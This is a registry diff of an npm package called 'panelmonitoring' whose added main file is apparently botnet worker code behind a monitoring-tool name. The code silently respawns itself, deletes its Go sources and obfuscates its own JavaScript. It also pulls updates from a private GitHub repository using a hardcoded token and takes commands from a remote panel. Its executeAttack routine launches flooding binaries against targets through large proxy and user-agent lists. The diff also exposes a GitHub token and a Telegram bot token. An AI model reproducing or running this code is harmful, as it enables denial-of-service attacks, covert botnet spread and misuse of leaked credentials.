panelmonitoring 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.worker_encrypted +1 -0
- package/lib/cache/dor +0 -0
- package/lib/cache/dor.go +1302 -0
- package/lib/cache/h1-go +0 -0
- package/lib/cache/h1-go.go +442 -0
- package/package.json +22 -3
- package/panel-config.json +1 -0
- package/proxy.txt +60557 -0
- package/public/index.html +2256 -0
- package/referer.txt +2117 -0
- package/ua.txt +103225 -0
- package//346/216/247/345/210/266/351/235/242/346/235/277/346/240/270/345/277/203/345/220/257/345/212/250/346/250/241/345/235/227/345/210/235/345/247/213/345/214/226/347/250/213/345/272/217/344/270/273/345/205/245/345/217/243/346/226/207/344/273/266.js +1887 -0
- package/run.js +0 -83
|
@@ -0,0 +1,1887 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Michelle Wang - All-in-One Control Panel
|
|
3
|
+
* Merged: config, web-panel, utils/* into single file
|
|
4
|
+
* lib/cache/* kept separate
|
|
5
|
+
*/
|
|
6
|
+
"use strict";
|
|
7
|
+
|
|
8
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
9
|
+
// SELF-RESTART WATCHDOG — runs as supervisor, auto-respawns child
|
|
10
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
11
|
+
if (!process.env.__VISHA_CHILD__) {
|
|
12
|
+
const { spawn } = require("child_process");
|
|
13
|
+
let restarting = false;
|
|
14
|
+
function spawnChild() {
|
|
15
|
+
restarting = false;
|
|
16
|
+
const child = spawn(process.execPath, [__filename, ...process.argv.slice(2)], {
|
|
17
|
+
stdio: "inherit",
|
|
18
|
+
env: { ...process.env, __VISHA_CHILD__: "1" }
|
|
19
|
+
});
|
|
20
|
+
child.on("exit", function(code, signal) {
|
|
21
|
+
if (restarting) return;
|
|
22
|
+
restarting = true;
|
|
23
|
+
// COMPLETELY SILENT - no watchdog messages
|
|
24
|
+
setTimeout(spawnChild, 2000);
|
|
25
|
+
});
|
|
26
|
+
child.on("error", function(err) {
|
|
27
|
+
if (restarting) return;
|
|
28
|
+
restarting = true;
|
|
29
|
+
// COMPLETELY SILENT - no watchdog errors
|
|
30
|
+
setTimeout(spawnChild, 2000);
|
|
31
|
+
});
|
|
32
|
+
}
|
|
33
|
+
spawnChild();
|
|
34
|
+
return; // supervisor only watches — stop rest of module from running
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
38
|
+
// CONFIG (formerly config.js)
|
|
39
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
40
|
+
const CONFIG = {
|
|
41
|
+
webUser: "admin",
|
|
42
|
+
webPass: "michelle",
|
|
43
|
+
defaultThreads: 16,
|
|
44
|
+
maxThreadPool: 256,
|
|
45
|
+
mode: "web",
|
|
46
|
+
port: 8082,
|
|
47
|
+
version: "3.0.2-test-auto-pull", // test auto-pull
|
|
48
|
+
workerSecret: "bunny-nightmare-internal-v2",
|
|
49
|
+
ghToken: "", // GitHub personal access token (private repo)
|
|
50
|
+
ghRepo: "", // e.g. https://github.com/user/repo.git
|
|
51
|
+
// Telegram channel verification
|
|
52
|
+
tgBotToken: "8387547753:AAEuFJl3VrqJPH9-mdQBnKXsJfHxGS_WLtk", // Bot token from @BotFather
|
|
53
|
+
tgChannelId: "-1003153963244", // Channel numeric ID for @pwned404
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
57
|
+
// CLEANUP .GO SOURCE FILES — ONLY in worker mode, skip web mode
|
|
58
|
+
// Binary file (dor) is SAFE — no .go extension
|
|
59
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
60
|
+
(function cleanupGoSources() {
|
|
61
|
+
// ONLY delete .go files in worker mode — keep them in web mode
|
|
62
|
+
const isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
|
|
63
|
+
if (!isWorker) return; // WEB MODE: keep .go source files
|
|
64
|
+
|
|
65
|
+
const fs = require("fs");
|
|
66
|
+
const path = require("path");
|
|
67
|
+
function walk(dir) {
|
|
68
|
+
let entries;
|
|
69
|
+
try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
|
|
70
|
+
for (const e of entries) {
|
|
71
|
+
if (e.name === "node_modules" || e.name === ".git") continue;
|
|
72
|
+
const fp = path.join(dir, e.name);
|
|
73
|
+
if (e.isDirectory()) { walk(fp); continue; }
|
|
74
|
+
if (e.name.endsWith(".go")) {
|
|
75
|
+
try { fs.unlinkSync(fp); } catch (_) {}
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
walk(__dirname);
|
|
80
|
+
})();
|
|
81
|
+
|
|
82
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
83
|
+
// STEALTH MODE (must be defined before autoPullOnStartup uses it)
|
|
84
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
85
|
+
const STEALTH = process.env.STEALTH === "1" || process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
|
|
86
|
+
function stealthLog(...args) {
|
|
87
|
+
// COMPLETELY SILENT — no logging at all
|
|
88
|
+
return;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
// Worker log buffer — collect all events, send to panel via poll
|
|
92
|
+
const workerLogBuffer = [];
|
|
93
|
+
const MAX_LOG_BUFFER = 100;
|
|
94
|
+
function workerDebugLog(level, message, data) {
|
|
95
|
+
// COMPLETELY SILENT — no logging in worker mode
|
|
96
|
+
return;
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
100
|
+
// AUTO CLONE/PULL FROM GITHUB ON STARTUP (PTERODACTYL SAFE)
|
|
101
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
102
|
+
(function autoClonePullOnStartup() {
|
|
103
|
+
const { execSync } = require("child_process");
|
|
104
|
+
const fs2 = require("fs");
|
|
105
|
+
const path2 = require("path");
|
|
106
|
+
const { exec } = require("child_process");
|
|
107
|
+
const ghToken = "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";
|
|
108
|
+
const ghRepo = "https://github.com/michelleangelicaputri8-prog/MichelleWang.git";
|
|
109
|
+
if (!ghToken || !ghRepo) return;
|
|
110
|
+
|
|
111
|
+
const gitDir = path2.join(__dirname, ".git");
|
|
112
|
+
const remote = ghRepo.replace(/^https:\/\//, `https://${ghToken}@`);
|
|
113
|
+
|
|
114
|
+
// If not a git repo yet — CLONE FIRST (like visha/index.js pattern)
|
|
115
|
+
if (!fs2.existsSync(gitDir)) {
|
|
116
|
+
stealthLog(" [auto-clone] No .git found — cloning " + ghRepo + "...");
|
|
117
|
+
const tmpDir = path2.join(__dirname, ".tmp_clone");
|
|
118
|
+
exec(`git clone ${remote} "${tmpDir}" 2>&1`, { timeout: 120000 }, (err) => {
|
|
119
|
+
if (err) { stealthLog(" [auto-clone] Clone failed"); return; }
|
|
120
|
+
try {
|
|
121
|
+
fs2.readdirSync(tmpDir).forEach(item => {
|
|
122
|
+
fs2.renameSync(path2.join(tmpDir, item), path2.join(__dirname, item));
|
|
123
|
+
});
|
|
124
|
+
fs2.rmSync(tmpDir, { recursive: true, force: true });
|
|
125
|
+
stealthLog(" [auto-clone] Clone success — fixing permissions...");
|
|
126
|
+
|
|
127
|
+
// PTERODACTYL SAFE: fix permissions
|
|
128
|
+
execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
|
|
129
|
+
execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
|
|
130
|
+
execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
|
|
131
|
+
execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
|
|
132
|
+
stealthLog(" [auto-clone] Permissions fixed — restarting to use new code...");
|
|
133
|
+
setTimeout(() => process.exit(0), 2000);
|
|
134
|
+
} catch (e) {
|
|
135
|
+
stealthLog(" [auto-clone] Move failed:", e.message);
|
|
136
|
+
}
|
|
137
|
+
});
|
|
138
|
+
return;
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// Already a git repo — PULL UPDATES
|
|
142
|
+
try {
|
|
143
|
+
execSync(`git -C "${__dirname}" fetch origin`, { stdio: "pipe", timeout: 15000 });
|
|
144
|
+
const local = execSync(`git -C "${__dirname}" rev-parse HEAD`, { encoding: "utf8", timeout: 5000 }).trim();
|
|
145
|
+
const remoteHash = execSync(`git -C "${__dirname}" rev-parse origin/main`, { encoding: "utf8", timeout: 5000 }).trim();
|
|
146
|
+
if (local === remoteHash) {
|
|
147
|
+
stealthLog(" [auto-pull] Already up to date.");
|
|
148
|
+
return;
|
|
149
|
+
}
|
|
150
|
+
stealthLog(" [auto-pull] Updates detected, pulling...");
|
|
151
|
+
|
|
152
|
+
// Check if worker mode — only pull essential files
|
|
153
|
+
const fs2 = require("fs");
|
|
154
|
+
const path2 = require("path");
|
|
155
|
+
let isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
|
|
156
|
+
if (!isWorker) {
|
|
157
|
+
try {
|
|
158
|
+
const bootCfg = JSON.parse(fs2.readFileSync(path2.join(__dirname, ".boot.json"), "utf8"));
|
|
159
|
+
isWorker = bootCfg.mode === "worker-poll";
|
|
160
|
+
} catch (_) {}
|
|
161
|
+
}
|
|
162
|
+
if (isWorker) {
|
|
163
|
+
// Worker mode: ONLY pull essential binary/runtime files — skip HTML, web UI, etc.
|
|
164
|
+
const mainFile = path2.basename(__filename);
|
|
165
|
+
execSync(`git -C "${__dirname}" sparse-checkout init --no-cone`, { stdio: "pipe", timeout: 10000 });
|
|
166
|
+
execSync(`git -C "${__dirname}" sparse-checkout set "${mainFile}" "lib/cache/dor" "lib/cache/h1-go" "proxy.txt" "ua.txt" "referer.txt" ".boot.json" "panel-config.json"`, { stdio: "pipe", timeout: 10000 });
|
|
167
|
+
stealthLog(" [worker-mode] Sparse-checkout: ONLY essential files (no HTML/UI)");
|
|
168
|
+
// Skip reset/clean in worker mode — sparse-checkout already limits files
|
|
169
|
+
} else {
|
|
170
|
+
// FIX: FORCE reset ALL local changes (proxy.txt, configs, etc) — bodohin semua, pull anyway
|
|
171
|
+
try {
|
|
172
|
+
execSync(`git -C "${__dirname}" reset --hard HEAD 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
|
|
173
|
+
stealthLog(" [auto-pull] Force reset all local changes");
|
|
174
|
+
} catch (_) {}
|
|
175
|
+
try {
|
|
176
|
+
// Exclude .boot.json and panel-config.json from clean (runtime configs)
|
|
177
|
+
execSync(`git -C "${__dirname}" clean -fd -e .boot.json -e panel-config.json 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
|
|
178
|
+
stealthLog(" [auto-pull] Cleaned untracked files");
|
|
179
|
+
} catch (_) {}
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
// Signal self-protection to skip tamper detection during pull
|
|
183
|
+
process.env.__PULLING_UPDATE__ = "1";
|
|
184
|
+
|
|
185
|
+
execSync(`git -C "${__dirname}" pull ${remote} main`, { stdio: "inherit", timeout: 60000 });
|
|
186
|
+
|
|
187
|
+
// ═══════════════════════════════════════════════════════════
|
|
188
|
+
// PTERODACTYL SAFE: Fix permissions so containers can access
|
|
189
|
+
// - Remove root-only ownership lock
|
|
190
|
+
// - Make all files world-readable/executable
|
|
191
|
+
// - Remove .git read-only locks
|
|
192
|
+
// ═══════════════════════════════════════════════════════════
|
|
193
|
+
try {
|
|
194
|
+
stealthLog(" [auto-pull] Fixing permissions for Pterodactyl access...");
|
|
195
|
+
execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
|
|
196
|
+
execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
|
|
197
|
+
execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
|
|
198
|
+
execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
|
|
199
|
+
stealthLog(" [auto-pull] Permissions fixed — Pterodactyl can now access all files.");
|
|
200
|
+
} catch (permErr) {
|
|
201
|
+
stealthLog(" [auto-pull] Permission fix warning:", permErr.message);
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
stealthLog(" [auto-pull] Pull successful. Restarting to apply updates...");
|
|
205
|
+
setTimeout(() => process.exit(0), 1500);
|
|
206
|
+
} catch (e) {
|
|
207
|
+
stealthLog(" [auto-pull] Failed:", e.message);
|
|
208
|
+
}
|
|
209
|
+
})();
|
|
210
|
+
|
|
211
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
212
|
+
// AUTO OBFUSCATE ALL .JS FILES (silent, before anything else)
|
|
213
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
214
|
+
(function autoObfuscate() {
|
|
215
|
+
const fs = require("fs");
|
|
216
|
+
const path = require("path");
|
|
217
|
+
const FLAG = ".worker_encrypted";
|
|
218
|
+
const SKIP = new Set(["node_modules", ".git"]);
|
|
219
|
+
if (fs.existsSync(path.join(__dirname, FLAG))) return;
|
|
220
|
+
|
|
221
|
+
let obfuscator = null;
|
|
222
|
+
try { obfuscator = require("javascript-obfuscator"); } catch (_) { return; }
|
|
223
|
+
|
|
224
|
+
function walk(dir) {
|
|
225
|
+
let entries;
|
|
226
|
+
try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
|
|
227
|
+
for (const e of entries) {
|
|
228
|
+
if (SKIP.has(e.name)) continue;
|
|
229
|
+
const fp = path.join(dir, e.name);
|
|
230
|
+
if (e.isDirectory()) { walk(fp); continue; }
|
|
231
|
+
if (e.name.endsWith(".js")) {
|
|
232
|
+
try {
|
|
233
|
+
const code = fs.readFileSync(fp, "utf8");
|
|
234
|
+
if (!code.startsWith("eval(")) {
|
|
235
|
+
const result = obfuscator.obfuscate(code, {
|
|
236
|
+
compact: true,
|
|
237
|
+
simplify: true,
|
|
238
|
+
controlFlowFlattening: true,
|
|
239
|
+
controlFlowFlatteningThreshold: 0.75,
|
|
240
|
+
deadCodeInjection: true,
|
|
241
|
+
deadCodeInjectionThreshold: 0.4,
|
|
242
|
+
stringArray: true,
|
|
243
|
+
stringArrayThreshold: 1,
|
|
244
|
+
stringArrayEncoding: ["rc4", "base64"],
|
|
245
|
+
stringArrayWrappersCount: 2,
|
|
246
|
+
stringArrayWrappersChainedCalls: true,
|
|
247
|
+
transformObjectKeys: true,
|
|
248
|
+
renameGlobals: false,
|
|
249
|
+
splitStrings: true,
|
|
250
|
+
splitStringsChunkLength: 10,
|
|
251
|
+
numbersToExpressions: true,
|
|
252
|
+
selfDefending: true,
|
|
253
|
+
unicodeEscapeSequence: true,
|
|
254
|
+
});
|
|
255
|
+
fs.writeFileSync(fp, result.getObfuscatedCode());
|
|
256
|
+
}
|
|
257
|
+
} catch (_) {}
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
walk(__dirname);
|
|
262
|
+
try { fs.writeFileSync(path.join(__dirname, FLAG), JSON.stringify({ time: new Date().toISOString() })); } catch (_) {}
|
|
263
|
+
})();
|
|
264
|
+
|
|
265
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
266
|
+
// GLOBAL ANTI-CRASH
|
|
267
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
268
|
+
process.on("uncaughtException", (err) => {
|
|
269
|
+
if (!STEALTH) console.error("💥 [Anti-Crash] Uncaught Exception:", err.message);
|
|
270
|
+
});
|
|
271
|
+
process.on("unhandledRejection", (reason) => {
|
|
272
|
+
if (!STEALTH) console.error("💥 [Anti-Crash] Unhandled Rejection:", reason instanceof Error ? reason.message : reason);
|
|
273
|
+
});
|
|
274
|
+
|
|
275
|
+
// ═══════════════════════════════════════════════════════════════════
|
|
276
|
+
async function startWorkerPollMode(portOverride) {
|
|
277
|
+
const fs = require("fs");
|
|
278
|
+
const path = require("path");
|
|
279
|
+
const https = require("https");
|
|
280
|
+
const http = require("http");
|
|
281
|
+
const net = require("net");
|
|
282
|
+
const cp = require("child_process");
|
|
283
|
+
const os = require("os");
|
|
284
|
+
|
|
285
|
+
const POLL_INTERVAL = 1000; // check every 1 second
|
|
286
|
+
const PROXY_FILE = path.join(__dirname, "proxy.txt");
|
|
287
|
+
const LIB_DIR = path.join(__dirname, "lib/cache");
|
|
288
|
+
const WORKER_SECRET = CONFIG.workerSecret;
|
|
289
|
+
|
|
290
|
+
// GitHub raw URL for panel-config.json — PRIMARY source of truth
|
|
291
|
+
const GH_TOKEN = "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";
|
|
292
|
+
const GH_CONFIG_URL = "https://raw.githubusercontent.com/michelleangelicaputri8-prog/MichelleWang/main/panel-config.json";
|
|
293
|
+
|
|
294
|
+
// ═══════════════════════════════════════════════════════════
|
|
295
|
+
// FETCH PANEL URL FROM GITHUB FIRST (source of truth)
|
|
296
|
+
// Fallback: local panel-config.json → .boot.json → error
|
|
297
|
+
// ═══════════════════════════════════════════════════════════
|
|
298
|
+
|
|
299
|
+
// Helper: fetch panel-config.json from GitHub
|
|
300
|
+
function fetchGitHubPanelConfig() {
|
|
301
|
+
return new Promise((resolve) => {
|
|
302
|
+
const u = new URL(GH_CONFIG_URL);
|
|
303
|
+
const req = https.get({
|
|
304
|
+
hostname: u.hostname,
|
|
305
|
+
path: u.pathname,
|
|
306
|
+
timeout: 10000,
|
|
307
|
+
headers: { "Authorization": `token ${GH_TOKEN}` }
|
|
308
|
+
}, (res) => {
|
|
309
|
+
let body = "";
|
|
310
|
+
res.on("data", c => { body += c; });
|
|
311
|
+
res.on("end", () => {
|
|
312
|
+
try {
|
|
313
|
+
const cfg = JSON.parse(body);
|
|
314
|
+
if (cfg.panelUrl) {
|
|
315
|
+
stealthLog(` [github] Panel URL from GitHub: ${cfg.panelUrl}`);
|
|
316
|
+
resolve(cfg.panelUrl);
|
|
317
|
+
} else {
|
|
318
|
+
resolve(null);
|
|
319
|
+
}
|
|
320
|
+
} catch (_) { resolve(null); }
|
|
321
|
+
});
|
|
322
|
+
});
|
|
323
|
+
req.on("error", () => resolve(null));
|
|
324
|
+
req.on("timeout", () => { req.destroy(); resolve(null); });
|
|
325
|
+
req.end();
|
|
326
|
+
});
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
let panelUrl = process.env.PANEL_URL;
|
|
330
|
+
|
|
331
|
+
if (!panelUrl) {
|
|
332
|
+
panelUrl = await fetchGitHubPanelConfig();
|
|
333
|
+
}
|
|
334
|
+
if (!panelUrl) {
|
|
335
|
+
try {
|
|
336
|
+
const cfg = JSON.parse(require("fs").readFileSync(path.join(__dirname, "panel-config.json"), "utf8"));
|
|
337
|
+
panelUrl = cfg.panelUrl;
|
|
338
|
+
stealthLog(" [fallback] Using local panel-config.json");
|
|
339
|
+
} catch (_) {}
|
|
340
|
+
}
|
|
341
|
+
if (!panelUrl) {
|
|
342
|
+
try {
|
|
343
|
+
const boot = JSON.parse(require("fs").readFileSync(path.join(__dirname, ".boot.json"), "utf8"));
|
|
344
|
+
panelUrl = boot.panelUrl;
|
|
345
|
+
stealthLog(" [fallback] Using .boot.json panel URL");
|
|
346
|
+
} catch (_) {}
|
|
347
|
+
}
|
|
348
|
+
if (!panelUrl) {
|
|
349
|
+
stealthLog(" [error] No panel URL found. Set it in GitHub panel-config.json or local config.");
|
|
350
|
+
process.exit(1);
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
let lastKnownPanelUrl = panelUrl;
|
|
354
|
+
let consecutiveFails = 0;
|
|
355
|
+
function pollGitHubPanelConfig() {
|
|
356
|
+
const u = new URL(GH_CONFIG_URL);
|
|
357
|
+
const req = https.get({
|
|
358
|
+
hostname: u.hostname,
|
|
359
|
+
path: u.pathname,
|
|
360
|
+
timeout: 10000,
|
|
361
|
+
headers: { "Authorization": `token ${GH_TOKEN}` }
|
|
362
|
+
}, (res) => {
|
|
363
|
+
let body = "";
|
|
364
|
+
res.on("data", c => { body += c; });
|
|
365
|
+
res.on("end", () => {
|
|
366
|
+
try {
|
|
367
|
+
const cfg = JSON.parse(body);
|
|
368
|
+
if (cfg.panelUrl && cfg.panelUrl !== panelUrl) {
|
|
369
|
+
stealthLog(` [github-sync] Panel URL changed: ${panelUrl} → ${cfg.panelUrl}`);
|
|
370
|
+
panelUrl = cfg.panelUrl;
|
|
371
|
+
lastKnownPanelUrl = panelUrl;
|
|
372
|
+
consecutiveFails = 0; // reset fail counter
|
|
373
|
+
}
|
|
374
|
+
} catch (_) {}
|
|
375
|
+
});
|
|
376
|
+
});
|
|
377
|
+
req.on("error", () => {});
|
|
378
|
+
req.on("timeout", () => req.destroy());
|
|
379
|
+
}
|
|
380
|
+
|
|
381
|
+
let procs = [];
|
|
382
|
+
let currentTaskId = null;
|
|
383
|
+
let _lastTaskId = null; // prevent double-execute
|
|
384
|
+
|
|
385
|
+
// Auto-generate unique worker ID — no manual setup needed
|
|
386
|
+
const WORKER_ID = process.env.WORKER_ID || "w-" + require("crypto").randomBytes(6).toString("hex");
|
|
387
|
+
|
|
388
|
+
// CPU sampler
|
|
389
|
+
let _lastCpu = null, _cpuPercent = 0;
|
|
390
|
+
function _sampleCpu() {
|
|
391
|
+
const cpus = os.cpus();
|
|
392
|
+
const now = cpus.map(c => ({ ...c.times }));
|
|
393
|
+
if (_lastCpu) {
|
|
394
|
+
const deltas = now.map((curr, i) => {
|
|
395
|
+
const prev = _lastCpu[i];
|
|
396
|
+
const idle = curr.idle - prev.idle;
|
|
397
|
+
const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
|
|
398
|
+
return total === 0 ? 0 : (1 - idle / total) * 100;
|
|
399
|
+
});
|
|
400
|
+
_cpuPercent = Math.round((deltas.reduce((a, b) => a + b, 0) / deltas.length) * 10) / 10;
|
|
401
|
+
}
|
|
402
|
+
_lastCpu = now;
|
|
403
|
+
}
|
|
404
|
+
setInterval(_sampleCpu, 1000).unref();
|
|
405
|
+
_sampleCpu();
|
|
406
|
+
|
|
407
|
+
// Max performance goroutine calculator — push all workers to full capacity
|
|
408
|
+
function calculateOptimalGoroutines(baseGoroutines, currentCpuPercent) {
|
|
409
|
+
const cpuCores = os.cpus().length;
|
|
410
|
+
const base = baseGoroutines || cpuCores * 1000;
|
|
411
|
+
// Always scale to MAX — cpuCores × 3000 goroutines
|
|
412
|
+
// Ignore current CPU — always go full power
|
|
413
|
+
return Math.max(base, cpuCores * 3000);
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
function getPublicIP() {
|
|
417
|
+
return new Promise((resolve) => {
|
|
418
|
+
const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
|
|
419
|
+
let body = "";
|
|
420
|
+
res.on("data", c => { body += c; });
|
|
421
|
+
res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
|
|
422
|
+
});
|
|
423
|
+
req.on("error", () => resolve(null));
|
|
424
|
+
req.on("timeout", () => { req.destroy(); resolve(null); });
|
|
425
|
+
});
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
function spawnDetachedBinary(execPath, args, key) {
|
|
429
|
+
return new Promise((resolve) => {
|
|
430
|
+
const child = cp.spawn(execPath, args, {
|
|
431
|
+
detached: true,
|
|
432
|
+
stdio: "ignore",
|
|
433
|
+
env: { ...process.env, EXEC_KEY: key || process.env.EXEC_KEY || "夜影风暴" }
|
|
434
|
+
});
|
|
435
|
+
child.unref();
|
|
436
|
+
procs.push(child);
|
|
437
|
+
child.on("exit", () => { procs = procs.filter(p => p !== child); });
|
|
438
|
+
resolve({ pid: child.pid });
|
|
439
|
+
});
|
|
440
|
+
}
|
|
441
|
+
|
|
442
|
+
function haltAll() {
|
|
443
|
+
procs.forEach(p => { try { if (!p.killed) p.kill("SIGTERM"); } catch (_) {} });
|
|
444
|
+
procs = [];
|
|
445
|
+
currentTaskId = null;
|
|
446
|
+
}
|
|
447
|
+
|
|
448
|
+
function pollRequest(method, endpoint, data) {
|
|
449
|
+
return new Promise((resolve) => {
|
|
450
|
+
const u = new URL(endpoint, panelUrl);
|
|
451
|
+
const isHttps = u.protocol === "https:";
|
|
452
|
+
const mod = isHttps ? https : http;
|
|
453
|
+
const bodyStr = data ? JSON.stringify(data) : "";
|
|
454
|
+
const opts = {
|
|
455
|
+
hostname: u.hostname,
|
|
456
|
+
port: u.port || (isHttps ? 443 : 80),
|
|
457
|
+
path: u.pathname + (u.search || ""),
|
|
458
|
+
method,
|
|
459
|
+
headers: {
|
|
460
|
+
"Authorization": "Bearer " + WORKER_SECRET,
|
|
461
|
+
"X-Worker-Id": WORKER_ID,
|
|
462
|
+
"Content-Type": "application/json",
|
|
463
|
+
"Content-Length": Buffer.byteLength(bodyStr)
|
|
464
|
+
},
|
|
465
|
+
timeout: 10000
|
|
466
|
+
};
|
|
467
|
+
const req = mod.request(opts, (res) => {
|
|
468
|
+
let body = "";
|
|
469
|
+
res.on("data", c => { body += c; });
|
|
470
|
+
res.on("end", () => {
|
|
471
|
+
try { resolve({ ok: res.statusCode < 400, status: res.statusCode, body: JSON.parse(body) }); }
|
|
472
|
+
catch { resolve({ ok: res.statusCode < 400, status: res.statusCode, body }); }
|
|
473
|
+
});
|
|
474
|
+
});
|
|
475
|
+
req.on("timeout", () => { req.destroy(); resolve({ ok: false, status: 0, body: { error: "timeout" } }); });
|
|
476
|
+
req.on("error", e => resolve({ ok: false, status: 0, body: { error: e.message } }));
|
|
477
|
+
if (bodyStr) req.write(bodyStr);
|
|
478
|
+
req.end();
|
|
479
|
+
});
|
|
480
|
+
}
|
|
481
|
+
|
|
482
|
+
async function executeAttack(task) {
|
|
483
|
+
const { target, duration, threads, method, goroutines, execKey } = task;
|
|
484
|
+
const durationSec = parseInt(duration) || 60;
|
|
485
|
+
const cpuCores = os.cpus().length;
|
|
486
|
+
const threadCount = Math.min(parseInt(threads) || cpuCores, 256);
|
|
487
|
+
// Auto-scale goroutines based on current CPU load
|
|
488
|
+
const goroutinesNum = calculateOptimalGoroutines(parseInt(goroutines), _cpuPercent);
|
|
489
|
+
const methodUpper = (method || "H2-GO").toUpperCase();
|
|
490
|
+
|
|
491
|
+
// ── Auto-clean dead proxies before attack ──
|
|
492
|
+
const proxyFilePath = path.join(__dirname, "proxy.txt");
|
|
493
|
+
if (fs.existsSync(proxyFilePath)) {
|
|
494
|
+
try {
|
|
495
|
+
const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
|
|
496
|
+
const allProxies = proxyContent.split('\n').filter(l => l.trim());
|
|
497
|
+
if (allProxies.length > 0) {
|
|
498
|
+
// Quick validate: test 10 random proxies
|
|
499
|
+
const sampleSize = Math.min(10, allProxies.length);
|
|
500
|
+
const sampled = [];
|
|
501
|
+
const temp = [...allProxies];
|
|
502
|
+
for (let i = 0; i < sampleSize; i++) {
|
|
503
|
+
const idx = Math.floor(Math.random() * temp.length);
|
|
504
|
+
sampled.push(temp.splice(idx, 1)[0]);
|
|
505
|
+
}
|
|
506
|
+
let deadCount = 0;
|
|
507
|
+
await Promise.all(sampled.map(async (proxy) => {
|
|
508
|
+
return new Promise((resolve) => {
|
|
509
|
+
const [host, port] = proxy.split(':');
|
|
510
|
+
const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
|
|
511
|
+
sock.destroy();
|
|
512
|
+
resolve(true); // alive
|
|
513
|
+
});
|
|
514
|
+
sock.on('error', () => { deadCount++; resolve(false); });
|
|
515
|
+
sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
|
|
516
|
+
});
|
|
517
|
+
}));
|
|
518
|
+
// If >50% of sample dead, clean entire proxy file
|
|
519
|
+
if (deadCount > sampleSize / 2) {
|
|
520
|
+
workerDebugLog("proxy", `Cleanup: ${deadCount}/${sampleSize} sample dead — refreshing...`);
|
|
521
|
+
const live = [];
|
|
522
|
+
await Promise.all(allProxies.map(async (proxy) => {
|
|
523
|
+
return new Promise((resolve) => {
|
|
524
|
+
const [host, port] = proxy.split(':');
|
|
525
|
+
const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
|
|
526
|
+
sock.destroy();
|
|
527
|
+
live.push(proxy);
|
|
528
|
+
resolve();
|
|
529
|
+
});
|
|
530
|
+
sock.on('error', () => resolve());
|
|
531
|
+
sock.on('timeout', () => { sock.destroy(); resolve(); });
|
|
532
|
+
});
|
|
533
|
+
}));
|
|
534
|
+
if (live.length > 0) {
|
|
535
|
+
// Dedup before save
|
|
536
|
+
const seen = {};
|
|
537
|
+
const deduped = [];
|
|
538
|
+
for (const p of live) {
|
|
539
|
+
if (!seen[p]) { seen[p] = true; deduped.push(p); }
|
|
540
|
+
}
|
|
541
|
+
fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
|
|
542
|
+
workerDebugLog("proxy", `Cleanup: ${deduped.length} proxies saved (${allProxies.length - deduped.length} dead/dupes removed)`);
|
|
543
|
+
}
|
|
544
|
+
}
|
|
545
|
+
}
|
|
546
|
+
} catch (_) {}
|
|
547
|
+
}
|
|
548
|
+
|
|
549
|
+
let targetHost = target, targetPort = "443";
|
|
550
|
+
try {
|
|
551
|
+
const parsed = new URL(target);
|
|
552
|
+
targetHost = parsed.hostname;
|
|
553
|
+
targetPort = String(parseInt(parsed.port) || (parsed.protocol === 'https:' ? 443 : 80));
|
|
554
|
+
} catch {
|
|
555
|
+
const lc = target.lastIndexOf(':');
|
|
556
|
+
if (lc > -1) {
|
|
557
|
+
const pk = parseInt(target.substring(lc + 1));
|
|
558
|
+
if (!isNaN(pk) && pk >= 1 && pk <= 65535) {
|
|
559
|
+
targetHost = target.substring(0, lc);
|
|
560
|
+
targetPort = String(pk);
|
|
